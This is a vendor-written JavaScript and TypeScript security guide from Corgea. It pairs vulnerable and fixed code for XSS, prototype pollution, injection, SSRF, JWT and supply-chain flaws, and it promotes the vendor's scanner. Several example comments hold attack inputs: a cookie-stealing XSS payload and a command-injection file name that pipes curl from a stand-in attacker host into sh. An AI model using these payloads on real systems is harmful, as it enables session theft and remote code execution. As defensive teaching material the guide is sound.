JavaScript security is the practice of protecting JavaScript and TypeScript applications, in the browser and on the server, against vulnerabilities such as cross-site scripting, injection, prototype pollution, and compromised npm packages through secure coding, hardened configuration, and automated code scanning.
JavaScript runs in more places than any other language: browsers, Node.js, Deno, Bun, edge runtimes, Electron apps, mobile wrappers, and serverless functions. That reach is exactly why it is such a productive target. The same language that renders your UI also handles authentication, database queries, and file access on the server, and it pulls in hundreds of transitive npm packages along the way.
This guide is the JavaScript companion to our Python security best practices and Rust security best practices guides. It covers the JavaScript threat model, the vulnerabilities that show up most often in real JS and TS codebases (each with a vulnerable snippet and a fixed one), a best-practices checklist, framework-specific notes, and a comparison of JavaScript security scanners, including how Corgea AI SAST scans frontend and backend JavaScript differently.
The JavaScript threat model
Before you can secure JavaScript you need to know which JavaScript you are securing. The same file extension can describe three very different security contexts.
Browser JavaScript
Client-side code executes on a machine the attacker controls. Anything shipped to the browser is readable, modifiable, and replayable, so client-side validation, obfuscation, and “hidden” API keys provide no security. The browser threat model is about protecting other users: preventing injected scripts (XSS), stopping cross-origin abuse (CSRF, CORS, postMessage), and containing third-party scripts loaded from CDNs and tag managers. The primary defenses are output encoding, sanitization, Content Security Policy, and secure cookie handling.
Node.js and server-side JavaScript
Server-side code handles secrets, sessions, databases, and the file system. The threat model looks like any other backend language: SQL and NoSQL injection, command injection, path traversal, SSRF, insecure deserialization, broken authentication and authorization, and business logic flaws. Node.js adds a few language-specific twists, such as prototype pollution, ReDoS in a single-threaded event loop, and the size of the npm dependency graph. Our Node.js security best practices guide goes deeper on Express and API hardening.
Full-stack frameworks
Next.js, Nuxt, SvelteKit, Remix, and Astro blur the line. A single repository contains React components that render in the browser, server components and route handlers that run on the server, middleware at the edge, and server actions callable over HTTP. A .ts file that looks like a UI helper may execute with database credentials. Frameworks also introduce their own footguns: environment variables accidentally exposed to the client (NEXT_PUBLIC_), server actions that skip authorization checks, and dangerouslySetInnerHTML in components that receive user content.
This is also why JavaScript static analysis is harder than it looks. A scanner that treats every file the same either floods you with browser findings in server code (and vice versa) or misses context-specific bugs. Corgea’s JavaScript scanning whitepaper describes how it classifies each file as frontend or backend using framework signatures, import statements, and code patterns before choosing the right ruleset.
Top JavaScript security vulnerabilities
The following vulnerabilities account for most of the exploitable findings we see in JavaScript and TypeScript codebases. Each includes a vulnerable example and a fixed one. The fixes are deliberately small; the goal is to show the pattern, not a full library.
1. Cross-site scripting (XSS)
XSS is the signature JavaScript vulnerability. It happens whenever untrusted data is interpreted as code by the browser. There are three variants:
- Reflected XSS: a payload in the request (query string, header) is echoed into the response.
- Stored XSS: a payload is saved (comment, profile field, product review) and rendered to other users later.
- DOM-based XSS: the payload never touches the server; client-side JavaScript reads it from
location,document.referrer, orpostMessageand writes it into a dangerous sink.
Vulnerable (DOM XSS):
// Reads untrusted input from the URL and writes it as HTML
const params = new URLSearchParams(window.location.search);
const name = params.get("name");
document.getElementById("greeting").innerHTML = `Welcome back, ${name}!`;
// ?name=<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
Fixed:
const params = new URLSearchParams(window.location.search);
const name = params.get("name") ?? "";
// textContent never parses HTML
document.getElementById("greeting").textContent = `Welcome back, ${name}!`;
Vulnerable (stored XSS in React):
function Review({ body }: { body: string }) {
// body comes from the database, originally from another user
return <div dangerouslySetInnerHTML={{ __html: body }} />;
}
Fixed:
import DOMPurify from "dompurify";
function Review({ body }: { body: string }) {
// Let React escape it, or sanitize if rich text is genuinely required
const clean = DOMPurify.sanitize(body, { USE_PROFILES: { html: true } });
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Other sinks to watch: outerHTML, insertAdjacentHTML, document.write, element.setAttribute("href", ...) with javascript: URLs, jQuery’s .html() and $() with untrusted strings, and template engines with escaping disabled (<%- %> in EJS, {{{ }}} in Handlebars, the | safe filter in Nunjucks).
2. Prototype pollution
Prototype pollution is unique to JavaScript. Because almost every object inherits from Object.prototype, an attacker who can write to it (usually through a recursive merge, deep clone, or “set by path” helper that accepts keys like __proto__ or constructor.prototype) can inject properties that appear on every object in the process. The consequences range from authorization bypass (isAdmin suddenly defaulting to true) to denial of service to remote code execution through gadget chains.
Vulnerable:
function merge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === "object" && source[key] !== null) {
target[key] = merge(target[key] ?? {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Request body: {"__proto__": {"isAdmin": true}}
const settings = merge({}, JSON.parse(req.body));
const user = {};
console.log(user.isAdmin); // true for every object in the process
Fixed:
const FORBIDDEN_KEYS = new Set(["__proto__", "constructor", "prototype"]);
function merge(target, source) {
for (const key of Object.keys(source)) {
if (FORBIDDEN_KEYS.has(key)) continue;
const value = source[key];
if (typeof value === "object" && value !== null && !Array.isArray(value)) {
target[key] = merge(
Object.prototype.hasOwnProperty.call(target, key) ? target[key] : Object.create(null),
value
);
} else {
target[key] = value;
}
}
return target;
}
Prefer a maintained library (lodash.merge in a patched version, or a structured schema parser) over hand-written merge helpers, and use Map or Object.create(null) for dictionaries keyed by user input.
3. Injection: SQL, NoSQL, command, and eval
Injection is a family of bugs with one root cause: untrusted data concatenated into something that will be interpreted.
SQL injection, vulnerable:
app.get("/users", async (req, res) => {
const rows = await db.query(
`SELECT * FROM users WHERE email = '${req.query.email}'`
);
res.json(rows);
});
Fixed with parameters:
app.get("/users", async (req, res) => {
const rows = await db.query("SELECT * FROM users WHERE email = $1", [
req.query.email,
]);
res.json(rows);
});
Read our SQL injection guide for ORM-specific pitfalls such as raw query helpers in Prisma, Sequelize, and Knex.
NoSQL injection, vulnerable:
// POST body: {"username": "admin", "password": {"$ne": null}}
const user = await User.findOne({
username: req.body.username,
password: req.body.password,
});
Fixed:
import { z } from "zod";
const Login = z.object({
username: z.string().min(1).max(64),
password: z.string().min(8).max(256),
});
const { username, password } = Login.parse(req.body); // objects are rejected
const user = await User.findOne({ username });
const ok = user && (await argon2.verify(user.passwordHash, password));
Command injection, vulnerable:
import { exec } from "node:child_process";
app.post("/convert", (req, res) => {
exec(`convert ${req.body.file} output.png`, (err, stdout) => res.send(stdout));
});
// file = "a.jpg; curl https://evil.example/x.sh | sh"
Fixed:
import { execFile } from "node:child_process";
import path from "node:path";
app.post("/convert", (req, res) => {
const safeName = path.basename(String(req.body.file));
// execFile passes arguments directly, no shell is involved
execFile("convert", [safeName, "output.png"], (err, stdout) => res.send(stdout));
});
Code injection through eval, vulnerable:
// "Flexible" filter expression from the client
const filtered = items.filter((item) => eval(req.query.expr));
Fixed:
const ALLOWED = {
active: (item) => item.status === "active",
overdue: (item) => item.dueAt < Date.now(),
};
const predicate = ALLOWED[req.query.expr] ?? (() => true);
const filtered = items.filter(predicate);
new Function, setTimeout("string"), vm.runInNewContext (which is not a security sandbox), and template engines such as lodash _.template fed with user input are all eval in disguise. Corgea’s benchmark against Aikido includes a lodash template code injection that the competing scanner missed.
4. Insecure deserialization
JSON.parse is safe on its own: it produces plain data and never executes code. The problem is what happens next. Libraries that deserialize into live objects (node-serialize, serialize-javascript misuse, js-yaml with unsafe schemas in older versions, funcster) or code that revives functions from strings will execute attacker-controlled payloads.
Vulnerable:
import serialize from "node-serialize";
app.get("/profile", (req, res) => {
const profile = serialize.unserialize(
Buffer.from(req.cookies.profile, "base64").toString()
); // executes "_$$ND_FUNC$$_" payloads on parse
res.render("profile", { profile });
});
Fixed:
import { z } from "zod";
const Profile = z.object({
displayName: z.string().max(80),
theme: z.enum(["light", "dark"]),
});
app.get("/profile", (req, res) => {
const raw = JSON.parse(Buffer.from(req.cookies.profile, "base64").toString());
const profile = Profile.parse(raw); // plain data, validated shape
res.render("profile", { profile });
});
Sign or encrypt anything you store client-side and deserialize on the server, and treat YAML, XML, and binary formats with the same suspicion.
5. Server-side request forgery (SSRF)
SSRF occurs when your server fetches a URL supplied by the user. In cloud environments the classic target is the instance metadata service (169.254.169.254), which can hand an attacker your IAM credentials.
Vulnerable:
app.get("/preview", async (req, res) => {
const response = await fetch(req.query.url);
res.send(await response.text());
});
Fixed:
import dns from "node:dns/promises";
import ipaddr from "ipaddr.js";
const ALLOWED_HOSTS = new Set(["images.example.com", "cdn.example.com"]);
async function assertPublicHttpUrl(input) {
const url = new URL(input);
if (!["http:", "https:"].includes(url.protocol)) throw new Error("scheme");
if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error("host");
const { address } = await dns.lookup(url.hostname);
if (ipaddr.parse(address).range() !== "unicast") throw new Error("private");
return url;
}
app.get("/preview", async (req, res) => {
const url = await assertPublicHttpUrl(String(req.query.url));
const response = await fetch(url, { redirect: "manual" });
res.send(await response.text());
});
Allowlist hosts, block private and link-local ranges after DNS resolution, disable automatic redirects, and put outbound fetches behind an egress proxy where possible.
6. Path traversal
Vulnerable:
app.get("/download", (req, res) => {
res.sendFile(path.join(__dirname, "uploads", req.query.file));
});
// file=../../.env
Fixed:
const UPLOAD_ROOT = path.resolve(__dirname, "uploads");
app.get("/download", (req, res) => {
const requested = path.resolve(UPLOAD_ROOT, String(req.query.file));
if (!requested.startsWith(UPLOAD_ROOT + path.sep)) {
return res.status(400).end();
}
res.sendFile(requested);
});
Note that express.static and res.sendFile with the root option already normalize paths; the bug appears when you build paths yourself.
7. Regular expression denial of service (ReDoS)
Node.js is single-threaded. A regular expression with catastrophic backtracking, applied to attacker-controlled input, can pin the event loop and take down the whole process.
Vulnerable:
const EMAIL = /^([a-zA-Z0-9]+)*@example\.com$/; // nested quantifier
app.post("/signup", (req, res) => {
if (!EMAIL.test(req.body.email)) return res.status(400).end();
// ...
});
Fixed:
const EMAIL = /^[a-zA-Z0-9]{1,64}@example\.com$/; // linear, bounded
app.post("/signup", (req, res) => {
const email = String(req.body.email).slice(0, 254);
if (!EMAIL.test(email)) return res.status(400).end();
});
Bound input length, avoid nested quantifiers and overlapping alternations, and consider the RE2 package for regexes applied to untrusted text. Many ReDoS bugs live in dependencies, which is another reason to keep SCA running.
8. Open redirects
Vulnerable:
app.get("/login", (req, res) => {
// ...authenticate...
res.redirect(req.query.next); // next=https://evil.example/phish
});
Fixed:
app.get("/login", (req, res) => {
const next = String(req.query.next ?? "/");
const safe = next.startsWith("/") && !next.startsWith("//") && !next.includes("\\");
res.redirect(safe ? next : "/");
});
Open redirects look low severity until they are chained into OAuth flows, where a redirect can leak authorization codes. On the client, the same bug appears as window.location = params.get("next").
9. Cross-site request forgery (CSRF)
CSRF tricks a logged-in user’s browser into sending a state-changing request to your site. Cookie-based sessions are exposed by default; token-in-header APIs are not.
Vulnerable:
app.use(session({ cookie: { httpOnly: true } })); // no SameSite
app.post("/transfer", (req, res) => {
transfer(req.session.userId, req.body.to, req.body.amount);
res.sendStatus(200);
});
Fixed:
app.use(
session({
cookie: { httpOnly: true, secure: true, sameSite: "lax" },
})
);
app.use(csrfProtection); // e.g. csrf-csrf double-submit pattern
app.post("/transfer", (req, res) => {
// origin check as defense in depth
if (new URL(req.get("origin") ?? "", "https://x").host !== req.get("host")) {
return res.sendStatus(403);
}
transfer(req.session.userId, req.body.to, req.body.amount);
res.sendStatus(200);
});
SameSite=Lax or Strict cookies block most CSRF, but keep a token or origin check for browsers and flows where SameSite does not apply.
10. Insecure JWT handling
JSON Web Tokens are simple to issue and easy to misuse: accepting alg: none, allowing algorithm confusion between RS256 and HS256, skipping expiry checks, or storing tokens in localStorage where any XSS can read them.
Vulnerable:
import jwt from "jsonwebtoken";
function authenticate(req) {
// jwt.decode does not verify the signature at all
const claims = jwt.decode(req.headers.authorization.split(" ")[1]);
return claims.sub;
}
Fixed:
import jwt from "jsonwebtoken";
function authenticate(req: Request): string {
const token = req.headers.authorization?.split(" ")[1] ?? "";
const claims = jwt.verify(token, PUBLIC_KEY, {
algorithms: ["RS256"], // pin the algorithm
issuer: "https://auth.example.com",
audience: "api.example.com",
maxAge: "15m",
}) as jwt.JwtPayload;
return claims.sub!;
}
Keep access tokens short-lived, put refresh tokens in HttpOnly cookies, and rotate signing keys through JWKS rather than long-lived shared secrets.
11. Dependency and supply-chain attacks
The average JavaScript application ships far more third-party code than first-party code. Attackers know this, which is why npm has become the most active supply-chain battleground: typosquatted packages (crossenv instead of cross-env), dependency confusion against private package names, maintainer account takeovers, and self-propagating worms such as the Shai-Hulud npm campaign that steal tokens from developer machines and CI runners. Install scripts (preinstall, postinstall) can execute arbitrary code the moment you run npm install.
Vulnerable:
// package.json
{
"dependencies": {
"lodash": "*", // any version, including a future compromised one
"crossenv": "^7.0.0" // typosquat of cross-env
}
}
// CI: npm install (ignores lockfile drift, runs install scripts)
Fixed:
// package.json
{
"dependencies": {
"lodash": "4.17.21",
"cross-env": "7.0.3"
}
}
// .npmrc
// ignore-scripts=true
// CI: npm ci --ignore-scripts && npm audit --audit-level=high
Commit lockfiles, install with npm ci, run npm audit (or a dedicated SCA tool) in CI, disable install scripts by default, publish internal packages with provenance, and wait a short cooldown before adopting brand-new versions. The npm v12 changes summarized in our npm security breaking changes explainer make several of these defaults, and our guide to securing developer machines against supply chain attacks covers the workstation side.
12. Secrets in bundles and repositories
Anything referenced in client-side code ends up in the bundle, including “private” API keys. Framework conventions make this worse when developers prefix a server secret with NEXT_PUBLIC_, VITE_, or REACT_APP_ to make a build error go away.
Vulnerable:
// .env
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_...
// components/Checkout.tsx
const stripe = new Stripe(process.env.NEXT_PUBLIC_STRIPE_SECRET_KEY);
Fixed:
// .env (server only, never prefixed)
STRIPE_SECRET_KEY=sk_live_...
// app/api/checkout/route.ts (server route handler)
import Stripe from "stripe";
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!);
export async function POST(req: Request) {
const session = await stripe.checkout.sessions.create({ /* ... */ });
return Response.json({ id: session.id });
}
Scan repositories and build output for secrets, use a secrets manager in production, and rotate any key that has ever been committed.
13. CORS misconfiguration
Vulnerable:
app.use((req, res, next) => {
res.set("Access-Control-Allow-Origin", req.headers.origin); // reflects any origin
res.set("Access-Control-Allow-Credentials", "true");
next();
});
Fixed:
import cors from "cors";
const ALLOWED_ORIGINS = new Set([
"https://app.example.com",
"https://admin.example.com",
]);
app.use(
cors({
origin: (origin, cb) => cb(null, !origin || ALLOWED_ORIGINS.has(origin)),
credentials: true,
methods: ["GET", "POST"],
})
);
Reflecting Origin with credentials enabled lets any site read authenticated responses. null origins (from sandboxed iframes) and regex allowlists with unescaped dots are common variations of the same bug.
14. postMessage abuse
window.postMessage is how iframes, popups, and embedded widgets talk to each other. Skipping the origin check on the receiving side turns it into a DOM XSS or data-leak vector.
Vulnerable:
window.addEventListener("message", (event) => {
// any window can send this
document.getElementById("panel").innerHTML = event.data.html;
});
Fixed:
const TRUSTED_ORIGIN = "https://widgets.example.com";
window.addEventListener("message", (event) => {
if (event.origin !== TRUSTED_ORIGIN) return;
if (typeof event.data?.text !== "string") return;
document.getElementById("panel").textContent = event.data.text;
});
// Sender: always specify the target origin, never "*"
iframe.contentWindow.postMessage({ text: "hello" }, TRUSTED_ORIGIN);
15. Prototype pollution to RCE gadget chains
Prototype pollution on its own is often rated medium. It becomes critical when combined with a gadget: code that reads a property it expects to be undefined and does something dangerous when it is not. Popular gadgets include template engines (EJS, Pug, Handlebars) that read options such as outputFunctionName or client from an object that inherits from a polluted prototype, child_process helpers that read shell or env from options, and bundlers or test runners that consult configuration objects.
Vulnerable chain:
// 1. Pollution via a vulnerable deep-merge on user JSON
merge({}, JSON.parse(req.body)); // {"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "..."}}
// 2. Gadget: options object inherits the polluted keys
import { execFile } from "node:child_process";
execFile("ls", ["-la"], {}); // "shell" now read from Object.prototype
Fixed:
// Break the chain at both ends
Object.freeze(Object.prototype); // no new inherited properties
const opts = Object.create(null); // options object has no prototype
opts.cwd = "/srv/app";
execFile("ls", ["-la"], opts);
Freezing Object.prototype is a blunt instrument that can break some libraries, so test it in staging. Node.js also ships --disable-proto=delete (removes the __proto__ accessor) and --frozen-intrinsics (experimental) as runtime hardening flags.
16. Insecure direct object references and missing authorization
IDOR is not JavaScript-specific, but it is the most common critical bug in Node.js APIs because frameworks make it trivial to expose a database ID and forget the ownership check.
Vulnerable:
app.get("/invoices/:id", requireLogin, async (req, res) => {
res.json(await Invoice.findById(req.params.id));
});
Fixed:
app.get("/invoices/:id", requireLogin, async (req, res) => {
const invoice = await Invoice.findOne({
_id: req.params.id,
ownerId: req.user.id, // scope every query to the caller
});
if (!invoice) return res.sendStatus(404);
res.json(invoice);
});
Pattern-based scanners rarely catch this class because the bug is a missing line, not a dangerous one. It is the main reason AI-native SAST has become a distinct category: models that understand what a route is supposed to do can spot the missing check.
JavaScript security best practices checklist
Use this checklist in code review, when onboarding a new service, and as the basis for CI policy. Each item maps to one or more vulnerabilities above.
-
Enforce a strict Content Security Policy. Use nonce- or hash-based
script-srcwith'strict-dynamic', setobject-src 'none'andbase-uri 'self', and start in report-only mode to find violations before enforcing.// Express with helmet app.use((req, res, next) => { res.locals.nonce = crypto.randomBytes(16).toString("base64"); next(); }); app.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: [(req, res) => `'nonce-${res.locals.nonce}'`, "'strict-dynamic'"], objectSrc: ["'none'"], baseUri: ["'self'"], frameAncestors: ["'none'"], }, }) ); -
Sanitize HTML with DOMPurify and enforce Trusted Types. If you must render rich text, sanitize it with DOMPurify on the client (or
isomorphic-dompurifyon the server) and addrequire-trusted-types-for 'script'to your CSP so unsanitized strings can never reachinnerHTMLin Chromium-based browsers.const policy = trustedTypes.createPolicy("default", { createHTML: (input) => DOMPurify.sanitize(input, { RETURN_TRUSTED_TYPE: false }), }); element.innerHTML = policy.createHTML(userHtml); -
Validate every input with a schema library.
zod,valibot,joi, orajvat the boundary of every route, server action, queue consumer, and webhook. Parse, do not just check: use the returned typed value and discard the raw input.const CreateOrder = z.object({ sku: z.string().regex(/^[A-Z0-9-]{4,32}$/), quantity: z.number().int().min(1).max(100), couponCode: z.string().max(32).optional(), }).strict(); // reject unknown keys, including __proto__ -
Use parameterized queries and safe ORM APIs. Never build SQL with template literals. In Prisma, prefer the query builder over
$queryRawUnsafe; in Knex, use bindings; in Mongoose, pass sanitized primitives and considermongo-sanitizeorexpress-mongo-sanitize. -
Harden Express and Fastify. Apply
helmetfor headers,express-rate-limitor@fastify/rate-limiton authentication and expensive endpoints,express.json({ limit: "100kb" })for body size, and disablex-powered-by. -
Set secure cookie attributes.
HttpOnly,Secure,SameSite=Lax(orStrict), a tightPath, and the__Host-prefix for session cookies. Keep tokens out oflocalStorage. -
Lock down npm dependencies. Commit the lockfile, install with
npm ci, setignore-scripts=truein.npmrcand allowlist the few packages that need scripts, runnpm auditand an SCA tool in CI, require provenance for internal packages, pin exact versions for anything that touches auth or crypto, and use a minimum-age cooldown before adopting new releases. -
Avoid
eval,new Function, and string-based timers. Replace dynamic code withJSON.parse, lookup tables, or a real sandbox such asisolated-vm. Thevmmodule is not a security boundary. -
Harden object prototypes. Use
Object.create(null)orMapfor user-keyed dictionaries, reject__proto__,constructor, andprototypekeys in merge helpers, and evaluateObject.freeze(Object.prototype)plusnode --disable-proto=deletefor services that parse untrusted JSON. -
Rate limit and add abuse controls. Login, password reset, signup, search, and anything that triggers outbound requests or heavy computation.
-
Pin and verify third-party scripts with Subresource Integrity. For every CDN-hosted script or stylesheet, add
integrityandcrossorigin="anonymous"so a tampered file is refused.<script src="https://cdn.example.com/lib@4.2.0/lib.min.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" crossorigin="anonymous"></script> -
Send secure headers everywhere.
Strict-Transport-Security,X-Content-Type-Options: nosniff,Referrer-Policy,Permissions-Policy, andframe-ancestorsin CSP. In Next.js, set these innext.config.jsheaders()or in middleware; in Express,helmetcovers the defaults. -
Keep secrets in the environment or a secrets manager. Never commit
.envfiles, never prefix a server secret withNEXT_PUBLIC_,VITE_, orREACT_APP_, and scan repositories and build artifacts for leaked keys. -
Handle errors without leaking. Return generic messages to clients, log the details server-side, and never send stack traces or query text in API responses.
-
Scan JavaScript and TypeScript in CI on every pull request. SAST for your own code, SCA for packages, DAST against staging. The rest of this guide covers how.
Framework-specific notes
React and Next.js
- JSX escapes by default, so
<div>{userInput}</div>is safe. The risky paths aredangerouslySetInnerHTML,hrefvalues built from user input (javascript:URLs), andref-based DOM writes. - Server components and route handlers run on the server: validate input and enforce authorization inside them, not only in the client. Server actions are HTTP endpoints; treat them as such.
- Only
NEXT_PUBLIC_variables are exposed to the browser. Audit.envfor accidental prefixes. - Set CSP nonces through middleware and pass them to
<Script>components. Next.js documents a nonce-based CSP setup that works with'strict-dynamic'. - Keep an eye on middleware-based authentication: if authorization decisions happen only in middleware, make sure every route that needs protection actually matches the middleware matcher.
Express and Fastify
- Express is unopinionated, so security is opt-in:
helmet,corswith an explicit allowlist, body-size limits, rate limiting, and a CSRF strategy are all separate decisions. - Fastify ships schema-based validation through JSON Schema; use it on every route rather than trusting
request.body. - Use
execFile/spawnwith argument arrays instead ofexec, andpath.resolveplus a prefix check for any file access. - Prefer
argon2orbcryptfor passwords andcrypto.timingSafeEqualfor comparing secrets.
Node.js runtime hardening
- Run on a supported LTS release and subscribe to Node.js security releases.
- Consider the permission model (
--permissionwith--allow-fs-read,--allow-fs-write,--allow-child-process) for services that do not need broad access. --disable-proto=deleteremoves the__proto__accessor;--frozen-intrinsicsfreezes built-in prototypes (experimental).- Set
NODE_ENV=production, drop privileges in containers, and keep the process from running as root.
Deno and Bun
Deno is secure by default: scripts get no file, network, or environment access unless you pass --allow-read, --allow-net, and similar flags, and you should scope them (--allow-net=api.example.com) rather than using -A. Bun is fast and Node-compatible but currently runs with full permissions like Node.js, so the runtime hardening above applies. Both runtimes still share the language-level risks (XSS, injection, prototype pollution) covered in this guide.
JavaScript security scanners and tools
No single tool covers JavaScript. You need three lenses: static analysis of your own code (SAST), analysis of the packages you depend on (SCA), and testing of the running application (DAST). Our SAST vs SCA vs DAST explainer covers the differences in depth; the table below focuses on JavaScript and TypeScript.
| Tool | Type | JS/TS coverage | Strengths | Limitations |
|---|---|---|---|---|
| Corgea AI SAST | AI-native SAST | JavaScript, TypeScript, React, Next.js, Express, Fastify, NestJS, and more | Classifies frontend vs backend files, finds business logic and authorization flaws, review-ready fixes, low false-positive rate | Commercial (free to get started) |
| Semgrep | Pattern-based SAST | JS, TS, JSX, frameworks via rule packs | Fast, open-source rules, easy custom rules | Pattern matching misses missing-check bugs; tuning needed for noise |
| ESLint security plugins | Linter | Whatever ESLint parses | eslint-plugin-security, eslint-plugin-no-unsanitized, @microsoft/eslint-plugin-sdl run in the editor | Shallow; flags patterns, not dataflow |
| CodeQL | Dataflow SAST | JS/TS with taint tracking | Deep interprocedural analysis, free for public GitHub repos | Slower, rule authoring has a learning curve |
| Snyk Code | SAST | JS/TS | Fast scans, IDE integration, paired with Snyk SCA | Pattern-heavy engine; see the Snyk vs Corgea benchmark |
| SonarQube | Code quality + SAST | JS/TS | Quality gates, hotspots, self-hosted | Security depth lags dedicated SAST |
| npm audit | SCA | npm lockfile | Built in, free, runs anywhere | Known CVEs only, no reachability, noisy for dev dependencies |
| Socket | SCA / supply chain | npm, plus other registries | Detects malicious packages, install scripts, typosquats, and risky maintainers | Focused on packages, not first-party code |
| Snyk Open Source | SCA | npm and others | Broad advisory database, fix PRs | Limited reachability context |
| OWASP ZAP | DAST | Any running web app | Free, finds runtime issues such as reflected XSS, CORS, and header gaps | Needs a deployed target; no code location |
How Corgea scans JavaScript and TypeScript
Corgea approaches JavaScript differently from pattern-based scanners. As described in our JavaScript scanning whitepaper, the scanner first determines whether each file is frontend or backend code using framework signatures (React, Angular, Vue versus Express, Fastify, NestJS), import statements, and code patterns such as DOM access versus require('fs'). Frontend files get rules focused on DOM XSS, open redirects, insecure storage, and cross-origin messaging; backend files get injection, path traversal, SSRF, authentication, and authorization analysis. The result is fewer irrelevant findings and better coverage of the bugs that matter.
Because Corgea reasons about intent rather than only matching patterns, it also catches the missing-check class of bugs, such as IDOR, mass assignment, and broken authorization, that traditional tools skip. In our published benchmark on latiotech/insecure-kubernetes-deployments, a deliberately vulnerable full-stack repository, Corgea found 42 of 47 source-confirmed issues (89% recall) versus 26 for Snyk and 13 for Aikido, including SSRF, an open redirect, lodash template code injection, and a prototype pollution risk around JSON5 parsing that the other scanners missed. Every finding comes with a review-ready fix and an explanation, delivered in the pull request or the IDE. Across languages, Corgea AI SAST reports 2x more true positives, 3x fewer false positives, and fix accuracy above 90% compared with traditional SAST.
For a broader view of the market, see our best SAST tools roundup and what is SAST primer.
How to scan JavaScript in CI
A practical pipeline runs three checks on every pull request and blocks merges on high-severity, high-confidence findings.
# .github/workflows/security.yml
name: security
on: [pull_request]
jobs:
javascript-security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 22
cache: npm
# 1. Dependencies: lockfile-only install, no install scripts, audit
- run: npm ci --ignore-scripts
- run: npm audit --audit-level=high
# 2. Lint-level security checks (fast feedback)
- run: npx eslint . --ext .js,.jsx,.ts,.tsx
# 3. SAST on first-party JavaScript and TypeScript
- name: Corgea scan
run: |
npm install -g corgea-cli
corgea scan ./src --exit-code-on-fail
env:
CORGEA_TOKEN: ${{ secrets.CORGEA_TOKEN }}
A few rules make this sustainable:
- Gate on confidence, not just severity. A noisy gate gets disabled within a month. Our SAST pipeline gating policy guide explains how to phase enforcement in.
- Scan the diff on PRs, the full repo nightly. Developers get fast feedback; security gets complete coverage.
- Put findings in the pull request. A comment with the vulnerable line and a suggested fix gets resolved; a ticket in another system does not.
- Scan build output for secrets. Run a secrets scanner over
dist/or.next/as well as source, because bundling is whereNEXT_PUBLIC_mistakes surface. - Add DAST against staging on a schedule. ZAP or a commercial scanner catches header, CORS, and runtime XSS issues that static analysis cannot see.
If you are evaluating scanners, our guides on how to evaluate SAST tools and reducing SAST false positives walk through the criteria, and the JavaScript security scanner page shows how Corgea fits JS and TS teams specifically.
Frequently asked questions
What is JavaScript security?
JavaScript security is the practice of protecting JavaScript and TypeScript applications, in the browser and on the server, from vulnerabilities such as XSS, injection, prototype pollution, and compromised npm dependencies. It combines secure coding, hardened configuration (CSP, cookies, headers), dependency hygiene, and automated scanning.
What are the most common JavaScript security vulnerabilities?
Cross-site scripting, injection (SQL, NoSQL, command, and eval), prototype pollution, insecure deserialization, SSRF, path traversal, ReDoS, open redirects, CSRF, weak JWT handling, vulnerable or malicious npm packages, secrets in bundles, CORS misconfiguration, unsafe postMessage handlers, and missing authorization checks (IDOR).
Is JavaScript secure?
JavaScript is as secure as the code, configuration, and dependencies around it. The language and its runtimes have mature security features, but its dynamic nature, direct DOM access, and enormous package ecosystem make it easy to introduce vulnerabilities without validation, output encoding, and dependency controls.
How do I scan JavaScript code for vulnerabilities?
Use SAST (Corgea, Semgrep, CodeQL) for first-party code, SCA (npm audit, Socket, Snyk) for packages, and DAST (OWASP ZAP) against the running app. Run SAST and SCA on every pull request in CI and DAST on a schedule against staging.
What is the best JavaScript security scanner?
It depends on what you need to find. Corgea AI SAST is the strongest option for exploitable issues in first-party JavaScript and TypeScript, including authorization and business logic flaws, with fixes in the PR. Semgrep and ESLint plugins are good lightweight checks, CodeQL and Snyk Code provide dataflow analysis, and Socket or Snyk cover the supply chain.
How do I prevent XSS in JavaScript?
Never write untrusted data to innerHTML, outerHTML, document.write, or dangerouslySetInnerHTML. Use textContent or framework bindings that auto-escape, sanitize rich text with DOMPurify, enforce Trusted Types and a nonce-based CSP, and encode output on the server for server-rendered pages.
What is prototype pollution?
Prototype pollution is a JavaScript vulnerability where an attacker injects properties into Object.prototype, usually through an unsafe merge, clone, or set-by-path helper that accepts __proto__ or constructor.prototype keys. Because every object inherits from the prototype, the injected properties can flip authorization flags, crash the process, or reach a gadget that executes code.
Does TypeScript make JavaScript more secure?
TypeScript catches type errors at compile time, which removes some bug classes, but types are erased at runtime and do not validate untrusted input. A string parameter from req.body is still whatever the client sent. Pair TypeScript with runtime validation (zod, valibot) and the same scanning you would apply to JavaScript.
Conclusion
JavaScript security is not one problem; it is the browser problem (XSS, CSP, cookies, cross-origin), the server problem (injection, SSRF, authorization), and the ecosystem problem (npm) at the same time, often in a single repository. The good news is that the fixes are well understood: encode output, validate input at the boundary, parameterize queries, harden prototypes and headers, lock down dependencies, and scan continuously.
Tools close the gap between knowing the best practices and applying them on every pull request. If you want a scanner that understands whether a file is frontend or backend, finds the missing authorization check as well as the dangerous innerHTML, and hands developers a fix they can merge, see how Corgea scans JavaScript and TypeScript or start a free scan.